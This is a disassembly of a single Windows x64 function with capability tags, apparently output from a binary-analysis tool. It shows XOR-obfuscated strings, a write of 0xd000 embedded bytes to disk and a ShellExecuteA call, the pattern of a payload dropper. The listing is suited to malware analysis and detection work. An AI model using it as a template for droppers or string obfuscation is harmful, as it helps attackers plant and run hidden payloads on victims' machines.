Function at 0x140002340
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
sub rsp, 0x110
lea rbp, [rsp + 0x60]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0xa0], rax
xor esi, esi
call fcn.1400013e0
movabs rax, 0x1c49574fb8464f74
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x11d92bee2f6ab2e3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xa128804754dc1424
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x529b2298216bf8fa
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs r14, 0x732d3926ef1a7537
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rdi, 0x74ad58977c36c194
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xd247e82422af4849
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x529b22fd590ed68e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm0, ymm0, ymmword [rbp + 0x20]
vmovdqa ymmword [rbp + 0x20], ymm0
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
vzeroupper
call fcn.1400027f0
nop
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140002479
test al, 0x10
je 0x1400024e1
lea rcx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rcx, qword [rbp + 0x40]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
mov ecx, 4
call fcn.1400035b0
mov qword [rsp + 0x20], rsi
mov r9, rax
mov r8d, 0xd000
lea rdx, [0x140007040]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae r8, qword [rbp + 0x40]
movabs rax, 0x732d3926817f0558
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movdqa xmm0, xmmword [rbp + 0x60]
mov dword [rsp + 0x28], 1
xorps xmm0, xmmword [rbp + 0x10]
mov qword [rsp + 0x20], rsi
movdqa xmmword [rbp + 0x10], xmm0
xor r9d, r9d
lea rdx, [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.140001cd0
nop
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x140002597
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002592
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002592
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035ec
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.140003590
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret